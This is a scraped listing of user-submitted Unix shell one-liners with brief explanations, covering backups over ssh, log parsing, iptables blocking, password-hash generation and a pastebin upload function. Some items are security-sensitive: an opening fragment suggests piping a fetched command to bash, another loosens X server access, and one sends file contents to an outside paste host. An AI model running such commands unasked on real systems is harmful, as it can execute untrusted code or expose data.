daring ... add '| bash' .... enjoy require 'ruby' ls -l | awk '$5 > 1000000' | sort -k5n Functions: awk ls sort while (true); do clear; uname -n; echo ""; df -h /; echo ""; tail -5 /var/log/auth.log; echo ""; vmstat 1 5; sleep 15; done hostname Aug 22 23:17:01 hostname CRON[27580]: pam_unix(cron:session): session closed for user root Aug 22 23:25:01 hostname CRON[27584]: pam_unix(cron:session): session opened for user root by (uid=0) Aug 22 23:25:01 hostname CRON[27584]: pam_unix(cron:session): session closed for user root Aug 22 23:35:01 hostname CRON[27768]: pam_unix(cron:session): session opened for user root by (uid=0) Aug 22 23:35:01 hostname CRON[27768]: pam_unix(cron:session): session closed for user root procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- r b swpd free buff cache si so bi bo in cs us sy id wa Functions: df echo sleep tail uname vmstat Continually monitor things You can use this one-liner for a quick and dirty (more customizable) alternative to the watch command. The keys to making this work: everything exists in an infinite loop; the loop starts with a clear; the loop ends with a sleep. Enter whatever you'd like to keep an eye on in the middle. mysql --pager="less -niSFX" Change MySQL Pager For Nicer Output od -c <file> Functions: od print all characters of a file using hexdump 'od -c' works like 'hexdump -c' but is available on other operating systems that don't ship with hexdump (e.g. solaris). # dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd' Functions: dd gzip ssh clone a hard drive to a remote directory via ssh tunnel, and compressing the image printf "%s\n" .* ps uH p <PID_OF_U_PROCESS> | wc -l Functions: ps wc Count threads of a jvm process if you have problem threads problem in tomcat less -r <some file> Read almost everything (Changelog.gz, .tgz, .deb, .png, .pdf, etc, etc....) It allows customizing by means of lesspipe. You need to write a ~/.lessfilter script and put this into your ~/.bashrc: eval $(lesspipe) export LESS=-r ‹ First < 138 139 140 141 142 > Last › grep CONFIG $(which mysqlbug) CONFIGURE_LINE="./configure '--build=i486-linux-gnu' '--host=i486-linux-gnu' '--prefix=/usr' '--exec-prefix=/usr' '--libexecdir=/usr/sbin' '--datadir=/usr/share' '--localstatedir=/var/lib/mysql' '--includedir=/usr/include' '--infodir=/usr/share/info' '--mandir=/usr/share/man' '--with-server-suffix=-24+lenny2' '--with-comment=(Debian)' '--with-system-type=debian-linux-gnu' '--enable-shared' '--enable-static' '--enable-thread-safe-client' '--enable-assembler' '--enable-local-infile' '--with-big-tables' '--with-unix-socket-path=/var/run/mysqld/mysqld.sock' '--with-mysqld-user=mysql' '--with-libwrap' '--without-openssl' '--with-yassl' '--without-docs' '--with-bench' '--without-readline' '--with-extra-charsets=all' '--with-innodb' '--with-archive-storage-engine' '--with-csv-storage-engine' '--with-federated-storage-engine' '--with-blackhole-storage-engine' '--with-sphinx-storage-engine' '--without-embedded-server' '--with-ndbcluster' '--with-ndb-ccflags=-fPIC' '--with-ndb-shm' '--without- ndb-sci' '--without-ndb-test' '--with-embedded-server' '--with-embedded-privilege-control' '--without-ndb-docs' 'CC=gcc' 'CFLAGS=-DBIG_JOINS=1 -O2 -fPIC' 'CPPFLAGS=' 'CXXFLAGS=-DBIG_JOINS=1 -felide-constructors -fno-rtti -O2' 'CXX=g++' 'FFLAGS=-g -O2' 'LDFLAGS=' 'build_alias=i486-linux-gnu' 'host_alias=i486-linux-gnu' 'CFLAGS= -DDBUG_OFF -DBIG_JOINS=1 -O2 -fPIC ' 'CXXFLAGS= -DDBUG_OFF -DBIG_JOINS=1 -felide-constructors -fno-rtti -O2 -fno-implicit-templates -fno-exceptions -fno-rtti'" `test -n "$CONFIGURE_LINE" && echo "Configure command: $CONFIGURE_LINE"` Functions: grep which Output is from Debian Lenny command ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -vsz -A|sed -u '/^ *PID/d;10q' [17764:17759 0:782] 02:35:26 Tue May 18 [bhudda@askapache.com:/dev/pts/0 +1] ~ (1:782)$ command ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -vsz -A|sed -u '/^ *PID/d;10q' Functions: command ps sed Viewing Top Processes according to cpu, mem, swap size, etc. I've wanted this for a long time, finally just sat down and came up with it. This shows you the sorted output of ps in a pretty format perfect for cron or startup scripts. You can sort by changing the k -vsz to k -pmem for example to sort by memory instead. If you want a function, here's one from my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html aa_top_ps(){ local T N=${1:-10};T=${2:-vsz}; ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -${T} -A|sed -u "/^ *PID/d;${N}q"; } lst=`dpkg -L iptables` ; for f in $lst; do if [ -x $f ] && [ ! -d $f ] ; then echo $f; fi; done; /sbin/iptables /sbin/iptables-save /sbin/iptables-restore /sbin/iptables-xml /sbin/ip6tables /sbin/ip6tables-save /sbin/ip6tables-restore I wanted to view only executables installed by a package. This seemed to work. There's got to be easier way, please share. (1) Replace iptables with the package name of your interest (2) The command will trash any existing environment variable named 'lst' (3) Instead if you are interested in viewing just .ko or .so files installed by this package, then that would be easy: $ dpkg -L iptables | grep "\.[sk]o$" sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg Create sqlite db and store image Creates a simple sqlite db (img.db) inserts /tmp/Q.jpg on base64 an recorvers it as /tmp/W.jpg echo $VARIABLE | xargs -d'\40' -n 6 echo Print the contents of $VARIABLE, six words at a time Print out the contents of $VARIABLE, six words per line, ignoring any single or double quotes in the text. Useful when $VARIABLE contains a sentence that changes periodically, and may or may not contain quoted text. xhost +local: Allow any local (non-network) connection to running X server wget -q -O- --header\="Accept-Encoding: gzip" <url> | gunzip > out.html Functions: gunzip wget Get gzip compressed web page using wget. Caution: The command will fail in case website doesn't return gzip encoded content, though most of thw websites have gzip support now a days. smartctl -A /dev/sda | grep Power_On_Hours How long has this disk been powered on pushd . Save the current directory without leaving it Save the current directory without having to leave it. When you do decide to leave the current directory, use popd to return to it. find * -type d -maxdepth 0 ls -F | grep /\$ but will break on directories containing newlines. Or the safe, POSIX sh way (but will miss dotfiles): for i in *; do test -d "./$i" && printf "%s\n" "$i"; done find . -type f | while read file; do cp $file ${file}.bak; done Functions: cp find read Recurse through directories easily This is a simple case of recursing through all directories, adding the '.bak' extension to every file. Of course, the 'cp $file $file.bak' could be any code you need to apply to your recursion, including tests, other functions, creating variables, doing math, etc. Simple and clean recursion. ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi Convert a MOV captured from a digital camera to a smaller AVI Convert those .mov files that your digital camera makes to .avi Adjust the bitrate (-b) to get the appropriate file size. A larger bitrate produces a larger (higher quality) .avi file and smaller bitrate produces a smaller (lower quality) .avi file. Requires ffmpeg (see man page for details) (tested with canon camera MOV files) Other examples: ffmpeg -i input.mov -sameq -vcodec msmpeg4v2 -acodec pcm_u8 output.avi ffmpeg -i input.mov -b 1024k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi countbraces () { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; } $ countbraces "a?1:(b?(c?(d?1:0):1):(c?1:0))" Opening: 4 Closing: 4 Functions: echo grep wc Count opening and closing braces in a string. This function counts the opening and closing braces in a string. This is useful if you have eg long boolean expressions with many braces and you simply want to check if you didn't forget to close one. find ./ ! -name 'excludepattern' | xargs -i cp --parents {} destdir |-- Dir | |-- tw | |-- two | `-- twos |-- first |-- two `-- six $ find . ! -name 'two' | xargs -i cp --parents {} ../numbers/ Coping files, excluding certain files Preserve file structure when coping and exclude some file o dir patterns od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1 ca:41:5d:28:ad:a2 Just increase the 1 at the end if you want to generate more than one. (Alternative to "| head -n N" you could use the -b flag of od: -b $[6*N] dig hostname a +short Functions: dig hostname pidof () { ps acx | egrep -i $@ | awk '{print $1}'; } Functions: awk egrep pidof ps Get a process's pid by supplying its name git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] . "\n";' Show changed files, ignoring permission, date and whitespace changes Only shows files with actual changes to text (excluding whitespace). Useful if you've messed up permissions or transferred in files from windows or something like that, so that you can get a list of changed files, and clean up the rest. /sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t Functions: column sed Read just the IP address of a device vimlint(){ eval $(xmllint --noout "$1" 2>&1 | awk -F: '/parser error/{print "vim \""$1"\" +"$2; exit}'); } Functions: awk eval Edit a file in vim (at the first error) if it is not well formed xml. Validate a file using xmllint. If there are parser errors, edit the file in vim at the line of the first error. screencast() { arecord -R 1000 -f cd -t wav $1.wav & RECPID=$!; echo "Starting screencast in new shell. Exit subshell to quit."; script -t 2> $1.timing -a $1.session; kill $RECPID; } Functions: arecord cd echo kill script create screencast (record text and audio simultaneously) using 'script' and 'arecord' This shell function takes a single argument, which is used as the base name of the .wav, .timing and .session files created. To create a screencast: screencast test type and talk ... then type 'exit' or to exit the screencast. test.wav will contain the audio from your screencast. test.session will contain text and control characters needed to paint the screen test.timing will contain timing information needed to synch individual keystrokes in test.session with the audio. to play back: aplay test.wav & scriptreplay test.{timing,session} NOTE: because the shell function uses the variable "$!", and bash likes to expand '!' during history expansion, you will need to turn off bash's history before you enter the shell function. This can be achieved using the command set +H tar -cvz /<path>/ | gpg --encrypt --recipient <keyID> > /<backup-path>/backup_`date +%d_%m_%Y`.tar.gz.gpg Functions: gpg tar tar.gz with gpg-encryption on the fly Create a encrypted tar.gz file from a directory on the fly. The encryption is done by GPG with a public key. The resulting filename is tagged with the date of creation. Very usefull for encrypted snapshots of folders. awk '{array[$1]++}END{ for (ip in array) print array[ip] " " ip}' <path/to/apache/*.log> | sort -n sort ip by count quickly with awk from apache logs creates associative array from apache logs, assumes "combined" log format or similar. replace awk column to suit needs. bandwidth per ip is also useful. have fun. I haven't found a more efficient way to do this as yet. sorry, FIXED TYPO: log file should obviously go after awk, which then pipes into sort. cp /some/path/to/myfile{,.back} cp /some/path/to/myfile{,.back} ls /some/path/to/ myfile myfile.back cp the file Copy the file with the given .extension at the source file's location. Eliminates the typing of long paths again and again. perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done $ perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done Convert from octal format to umask Umask is obtained subtracting 7 from each cypher of octal format. I store octal perm format in an array,then for each element of array I subtract 7. The result is the umask. ‹ First < 139 140 141 142 143 > Last › sqlite3 -noheader -list ~/.mozilla/firefox/<your_profile>/permissions.sqlite "select host from moz_hosts where type='image' and permission=2" Extract your list of blocked images hosts from Firefox database I use this to replicate my blocked images hosts list between work and home to keep my browsing ad-free. wmsetbg -s -u path_to_wallpaper gnu@robby:~$ wmsetbg -s -u ~/13746-pinnaclegoldrlet.jpg set wallpaper on windowmaker in one line set directly the wallpaper on windowmaker , use this command with display of imagemagick :) zcat -f $(ls -tr access.log*) Functions: ls zcat concatenate compressed and uncompressed logs with zcat force option it's even simpler. echo ${file##*/} shell alternative to 'basename' sudo iptables -L -nv Functions: iptables sudo Print the detailed statistics of transferred bytes by the firewall rules tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1 Functions: fold head tr markdown doc.md | htmldoc --cont --headfootsize 8.0 --linkcolor blue --linkstyle plain --format pdf14 - > doc.pdf convert markdown to PDF This is the one-line version of this htmldoc + markdown combo to convert markdown formatted text to PDF files to distribute to your non-savvy project managers. http://scottnesbitt.net/ubuntublog/?p=114 for f in *.txt; do cp $f .$f; done; Copy/move a bunch of files to dot files and back Or move them to dot files. for f in *.txt; do mv $f .$f; done; To reverse the process: for f in .*.txt ;do mv $f ${f##.}; done; (or cp) find . | shuf -n1 Also looks in subfolders rsync -av -e ssh user@host:/path/to/file.txt . Synchronise a file from a remote server You will be prompted for a password unless you have your public keys set-up. tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination/path/backupfile.tgz Functions: dd ssh tar Adhoc tar backup Creates a quick backup with tar to a remote host over ssh. perror NUMBER $ perror 131 OS error code 131: State not recoverable $perror 132 MySQL error code 132: Old database file Explanation of system and MySQL error codes perror should be installed if mysql-server package is installed alias onlyx='nohup startx & disown ; exit' Alias to securely run X from tty and close that tty afterwards. There are different ways to run X, I prefer to run it without xdm/gdm. The problem is you can't lock X because one can press Ctrl+Alt+F1, press Ctrl+Z and kill you X locking process. Of course you can disable Ctrl+Alt* or Ctrl+Alt+Backspace keys, but it's inconvinient if you really need to switch into console. cflow file.c | grep ':$' | sed 's/ <.*//' Functions: cflow grep sed search user defined function in c language cal [[month] year] $ cal april 2009 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Show a calendar awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 Checks apache's access_log file, strips the search queries and shoves them up your e-mail as unixmonkey7109 pointed out, first awk parse replaces three steps. echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";' find . -regextype posix-extended -not -regex '.*/[A-Za-z_]*([.][A-Za-z_]*)?' find OOO320_m18_native_packed-1_de.9502/ -regextype posix-extended -not -regex '.*/[A-Za-z_]*([.][A-Za-z_]*)?' | head OOO320_m18_native_packed-1_de.9502/DEBS/openoffice.org3-calc_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-base_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-ooofonts_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-core01_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-oooimprovement_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/openoffice.org3-dict-it_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-core07_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-pyuno_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/openoffice.org3_3.2.1-18_i386.deb OOO320_m18_native_packed-1_de.9502/DEBS/ooobasis3.2-de-math_3.2.1-18_i386.deb find filenames and directory names that doesn't conform ISO 9660 level 2 You might want to check what file and directory names would be renamed or chopped if you create iso 9660 level 2 image out of them. Use this command to check first. find . -name "*.jar" | while read line; do unzip -l $line; done | grep your-string 743 11-19-06 23:41 org/xml/sax/SAXException.class Search for classes in Java JAR files. stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0 Functions: stty time Configure a serial line device so you can evaluate it with a shell script I had a hard time in finding the correct settings to get reasonable output from a coin selector which sends its data over a serial line. In the end, minicom came to the rescue and pointed me on the right track. So, if you need to do something similar, these settings may help you. Replace ttyUSB0 with your device file, 9600 with your baud rate, 5 with your read timeout (10ths of a second), and 1 with the minimum numbers of characters you want to read. You can then open the device file like you are used to do, example: tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' you@host.fr Functions: mail tar uuencode mail with attachment An easy one but nice to keep in mind. schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe autorun program when logon Windows XP du --max-depth=1 -m List all files/folders in working directory with their total size in Megabytes net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done # net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done Functions: grep sed whois Query ip pools based on successive netnames via whois Useful if you f.i. want to block/allow all connections from a certain provider which uses successive netnames for his ip blocks. In this example I used the german Deutsche Telekom which has DTAG-DIAL followed by a number as netname for the dial in pools. There are - as always ;) - different ways to do this. If you have seq available you can use net=DTAG-DIAL ; for i in `seq 1 30`; do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done or without seq you can use bash brace expansion net=DTAG-DIAL ; for i in {1..30}; do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done or if you like while better than for use something like net=DTAG-DIAL ; i=1 ; while true ; do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; test $i = 30 && break ; i=$(expr $i + 1) ; done and so on. python -c 'p="SeCuR3PwD";import hashlib as h;s=h.md5(p).hexdigest()[:2];pw=h.md5(s+p).hexdigest();print pw+":"+s;' fcb35a57bb4a6a17063fab56fad93138:23 Functions: as python Generate a ZenCart-style MD5 password hash. ZenCart uses a MD5 with a salt to secure its passwords. If you need to forcibly change someone's password to a known value within the database, this one-liner can generate the password. Change the value of 'p' to the password you want. ‹ First < 140 141 142 143 144 > Last › du -aB1m|awk '$1 >= 100' snd:~/trunk$ du -aB1m|awk '$1 >= 100' 130 ./webdev-tools 178 ./videos/peepcode-027-emacs.mov 102 ./videos/LispCast/Reddit Clone Episode 8 -- Continuations.flv 182 ./videos/LispCast/Reddit Clone Episode 3.flv 879 ./videos/LispCast 1010 ./videos 2138 . Functions: awk du Which files/dirs waste my disk space Useful for analyzing disk usage. If you prefer GUI try http://en.wikipedia.org/wiki/Filelight or http://www.marzocca.net/linux/baobab/ sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sort -n|sed -u 's/^[^@]*@//'; } [32292:32291 0:1072] 04:08:37 Thu May 20 [bigdaddy@www.askapache.com:/dev/pts/1 +1] /chroot/master (1:1072)# locate .bash_profile|sortwc /etc/skel/.bash_profile /home/warbucks/.bash_profile /home/fiberoptic/.bash_profile /home/srot/.backups/.bash_profile /root/.backups/htaccess/.bash_profile /.mysnapshot/weekly.0/etc/skel/.bash_profile /.mysnapshot/monthly.0/etc/skel/.bash_profile /.mysnapshot/nightly.0/etc/skel/.bash_profile Functions: printf read sed sort Sort output by length of line This provides a way to sort output based on the length of the line, so that shorter lines appear before longer lines. It's an addon to the sort that I've wanted for years, sometimes it's very useful. Taken from my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html tar --transform 's#.*/\([^/]*\)$#\1#' -xzvf test-archive.tar.gz $ tar tzvf test-archive.tar.gz ./path/to/first/file/a.txt ./another/path/to/files/to/be/archived/b.txt ./another/path/to/files/to/be/archived/c.txt $ tar --transform 's#.*/\([^/]*\)$#\1#' -xzvf test-archive.tar.gz a.txt b.txt c.txt test-archive.tar.gz strip non-constant number of directories from tar archive while decompressing If you want to decompress the files from an archive to current directory by stripping all directory paths, use --transform option to strip path information. Unfortunately, --strip-components option is good if the target files have same and constant depth of folders. The idea was taken from http://www.unix.com/solaris/145941-how-extract-files-tar-file-without-creating-directories.html tar -c bins/ | gzip -9 | openssl enc -base64 [foobar@awesome ~]$ ll total 4 drwxr-xr-x 2 foobar foobar 4096 2011-02-24 15:02 bins [foobar@awesome ~]$ tar -c bins/ | gzip -9 | openssl enc -base64 H4sIAKLXZk0CA+3VMUrEQBQG4MHSE4g2kwu4eZl5k2XbLQQ7sdoykRiDkEjmLWwn iJUHEBUv4h0UK1uxsBAsLSw1UVmwWKyyy8r/NTNvZrqfn0mL0vdUt8JGzPy9Oteu FHP0Nf9QRGyIOXJkVUhkIqc0qzkYe0lqrdV+VaVJPfvdX/dLKm3zl8xLUeabzdBV /s7a2fk3+2n+YXNOxrpY6RD5d+51/eEuONl+eT9/2jrdHcngaJI9y+3KzvHV5cfj 4fXZsP92f7Fxk68p+Id+9V8mspD+GzvtP7f/BBm2jP7Pw7Aq8zoRH+hRNdZ7Sal9 lmk5KHywinYAAAAAAAAAAAAAAAAAAAAsh08a2nTbACgAAA== [foobar@awesome ~]$ rm -fr bins [foobar@awesome ~]$ openssl enc -d -base64 | gunzip | tar -x Functions: gzip tar copy paste multiple binary files Useful when you have multiple files or binary files that you need to transfer to a different host and scp or the like is unavailable. To unpack on the destination host copy paste output using the opposite order: openssl enc -d -base64 | gunzip | tar -x Terminate openssl input using ^d Note: gzip is outside of tar because using -z in tar produces lots of extra padding. convert -resize 50%x50% image{,_resize}.jpg resize(1/2) the image using imagemagick yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade ; reboot grep -oE "ssid=\".*\"" /etc/wpa_supplicant.conf | cut -c6- | sed s/\"//g | zenity --list --title="Choose Access Point" --column="SSID" Functions: cut grep sed Makes a Zenity select list based on entries in your wpa_supplicant.conf If you still connect to your wireless access point manually and need to use wpa_supplicant, the above fu will grep all of the known SSID from your wpa_supplicant.conf file, present it in a Zenity list and return the SSID name you choose. I've wrapped this command in to a bash script that then up's the interface, associates and autenticates. Saves me from using NetworkManager ;) for n in * ; do mv $n `echo $n | tr '[:lower:]' '[:upper:]'`; done Functions: mv tr Rename files to be all in CAPITALS Simple bash/ksh/sh command to rename all files from lower to upper case. If you want to do other stuff you can change the tr command to a sed or awk... and/or change mv to cp.... tail -f /var/www/logs/domain.com.log | grep "POST /scripts/blog-post.php" | grep -v 192.168. | awk '{print $1}' | xargs -I{} iptables -I DDOS -s {} -j DROP Functions: awk grep iptables tail xargs Anti DDOS Takes IP from web logs and pipes to iptables, use grep to white list IPs.. use if a particular file is getting requested by many different addresses. Sure, its already down pipe and you bandwidth may suffer but that isnt the concern. This one liner saved me from all the traffic hitting the server a second time, reconfigure your system so your system will work like blog-post-1.php or the similar so legitimate users can continue working while the botnet kills itself. mkdir /home/dhinesh/dir1/{dir2,dir3,dir4}/file1.txt -p Create the directoty recursively bzcat ext_if.log.0.bz2 | tcpdump -n -e -tttt -r - | less Show bz compressed PF binary log debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/ mkdir /opt/debian ; DEBIAN=/opt/debian ; export mounthe=?mount -o bind? ; mounthe /sys $DEBIAN/sys ; mounthe /proc $DEBIAN/proc ; mounthe /dev $DEBIAN/dev ; mounthe /tmp $DEBIAN/tmp ; yum -y install debootstrap ; debootstrap ?arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/ chroot $DEBIAN /bin/bash export DISPLAY=:0.0 Installing debian on fedora (chrooted) lspci -v | perl -ne '/VGA/../^$/ and /VGA|Kern/ and print' Functions: lspci perl Show display adapter, available drivers, and driver in use pgrep -cu ioggstream use Linux ;) ps -eo %cpu,args | grep -m1 PROCESS | awk '{print $1}' print a cpu of a process fsck.ext4 -cDfty -C 0 /dev/sdxx Functions: fsck Run a ext4 file system check and badblocks scan with progress info Nothing fancy, just a regular filesystem scan that calls the badblocks program and shows some progress info. The used options are: -c ? check for bad sectors with badblocks program -D ? optimize directories if possible -f ? force check, even if filesystem seems clean -t ? print timing stats (use -tt for more) -y ? assume answer ?yes? to all questions -C 0 ? print progress info to stdout /dev/sdxx ? the partition to check, (e.g. /dev/sda1 for first partition on first hard disk) NOTE: Never run fsck on a mounted partition! svn add --force * Add all files in current directory to SVN The --force option bypasses the warning if files are already in SVN. apt-get --just-print upgrade List available upgrades from apt without upgrading the system find * -type f -not -name ".*" | xargs wc -l Functions: find wc xargs Recursive Line Count We use `-not -name ".*"` for the reason we must omit hidden files (which unnecessary). We can only show up total lines like this: find * -type f -not -name ".*" | xargs wc -l | tail -1 bind '"\t":menu-complete' awk 'NR%2' Print only the odd lines of a file NR%2 == 1 on odd lines and 0 on even lines openssl s_client -connect localhost:443 -ssl2 Test a SSLv2 connection You can test any combination of host:port by replacing "localhost:443". sed -e '/^$/d' -e '/^#/d' -e '/initrd/ a\ ' -e 's/hiddenmenu//g' -e '/^timeout/d' -e '/default/ a\timeout\t\t15' -e 's/quiet//g' -e 's/splash/rootdelay=60/g' /boot/grub/menu.lst > /boot/grub/menu.lst.new default 0 title Ubuntu 10.04.2 LTS, kernel 2.6.38-8-server uuid 4f51a5a9-0604-4929-aace-29ed958b4fdb kernel /vmlinuz-2.6.38-8-server root=UUID=5589518c-5635-49c5-9719-e89e1ada300b ro rootdelay=60 initrd /initrd.img-2.6.38-8-server title Ubuntu 10.04.2 LTS, kernel 2.6.38-8-server (recovery mode) kernel /vmlinuz-2.6.38-8-server root=UUID=5589518c-5635-49c5-9719-e89e1ada300b ro single Remove all commented lines Remove all blank lines Show the menu Remove the quiet so you can watch the entire boot Add a rootdelay for san attached storage booting omit the 1 (one) if you don't need one-per-line watch -n 30 uptime Command to keep an SSH connection open This runs the uptime command every 30 seconds to avoid an SSH connection dropping due to inactivity. Granted there are better ways of solving this problem but this is sometimes the right tool for the job. ‹ First < 141 142 143 144 145 > Last › sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432 Watch postgresql calls from your application on localhost It's certainly not nicely formatted SQL, but you can see the SQL in there... echo -n "convert " > itcombino.sh; printf "IMG_%00004u.png " {1..1121} >> itcombino.sh; echo -n "-layers merge _final.png" >> itcombino.sh; chmod +x itcombino.sh && ./itcombino.sh Functions: chmod echo printf Combines an arbitrary number of transparent png files into one file This one liner; combines all sequentially numbered files; in this example IMG_0001.png to IMG_1121.png by generating the shell script, making the shell script executable and then running the shell script to combine the 1121 png into a single png file named _final.png tested on Mac OS X 10.6.3 with ImageMagick 6.5.8-0 2009-11-22 Q16 http://www.imagemagick.org sed 's/^[ \t]*//;s/[ \t]*$//' -i file delete all leading and trailing whitespace from each line in file ip route | grep default | awk '{print $3}' Functions: awk grep route Get your default route This gets you your default route programatically, useful for scripts while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done Functions: awk cat grep sleep tr Check wireless link quality with dialog box The variable WIRELESSINTERFACE indicates your wireless interface echo $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))% 10% Functions: echo wc Shows how many percents of all avaliable packages are installed in your gentoo system rcconf This tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command. sed -i 's/[ \t]*$//' file Remove space and/or tab characters at the end of line The command removes all space and/or tabulation characters preceding new line sed -i 's/^\s\+//' <file> delete all trailing whitespace from each line in file pidof httpd | sed 's/ / -p /g' | xargs strace -fp Functions: pidof sed strace xargs See what apache is doing without restarting it in debug mode URL=www.example.com && wget -rq --spider --force-html "http://$URL" && find $URL -type d > url-list.txt && rm -rf $URL Functions: find rm wget Retrieve a list of all webpages on a site This spiders the given site without downloading the HTML content. The resulting directory structure is then parsed to output a list of the URLs to url-list.txt. Note that this can take a long time to run and you make want to throttle the spidering so as to play nicely. sudo chattr -i <file that cannot be modified> Change attributes of files so you can edit them I had problems in Ubuntu while trying to edit /etc/resolv.conf, even with sudo I couldn't make any change. After a 2 minutes search on google I found this command. Hope someone finds it useful. It works like chmod, with + and - to denote which attributes are being added and which are being removed. See other attributes on man pages or on wikipedia http://en.wikipedia.org/wiki/Chattr grep -A 5 -e podcast-feed rhythmdb.xml | grep -e "<location>" | sed 's: *</*[a-t]*>::g' > PodFeeds.txt dogflap@dogflap-desktop:~/Desktop$ cat PodFeeds.txt http://leoville.tv/podcasts/mbw.xml http://www.abc.net.au/rn/podcast/feeds/science.xml http://www.abc.net.au/rn/podcast/feeds/lnl.xml http://leoville.tv/podcasts/floss.xml http://www.tuxradar.com/files/podcast/podcast_ogg.rss http://rssnewsapps.ziffdavis.com/audioblogs/crankygeeks/cg.audio.xml http://www.nature.com/nature/podcast/rss/nature.xml http://leoville.tv/podcasts/twit-ogg.xml http://distrowatch.com/news/podcast.xml http://leoville.tv/podcasts/sn.xml http://downloads.bbc.co.uk/podcasts/radio4/fricomedy/rss.xml Creates PodFeeds.txt, a file that lists the URLs of rhythmbox podcasts from the rhythmdb.xml file. The first grep any line with pod-feed in it plus the following five lines. The second grep throws out any line not containing . sed removes the leading four spaces then and the trailing . Using a colon as sed's separating character avoids having to escape the /. Works ok with Mythbuntu 9.04 (used mostly as a three line bash script). function cpaste () { gpg -o - -a -c $1 | curl -s -F 'sprunge=<-' http://sprunge.us } function dpaste () { curl -s $1 | gpg -o - -d } $ cat .functions | cpaste http://sprunge.us/QVFN $ dpaste http://sprunge.us/QVFN | wc -l gpg: CAST5 encrypted data gpg: encrypted with 1 passphrase gpg: WARNING: message was not integrity protected 129 encrypt and post or get and decrypt from sprunge using gpg symmetric encryption option create simple encrypted notes to yourself using a passphrase on sprunge.us find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}' Functions: awk cut find wc xargs awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}' Awk one-liner that sorts a css file by selector X='pattern'; vim +/"$X" `egrep -lr "$X" *` Grep recursively for a pattern and open all files that match, in order, in Vim, landing on 1st match ps -o comm,%mem,args -u www-data COMMAND %MEM COMMAND apache2 2.1 /usr/sbin/apache2 -k start apache2 0.5 /usr/sbin/apache2 -k start apache2 1.1 /usr/sbin/apache2 -k start apache2 0.9 /usr/sbin/apache2 -k start apache2 1.7 /usr/sbin/apache2 -k start Nicely display 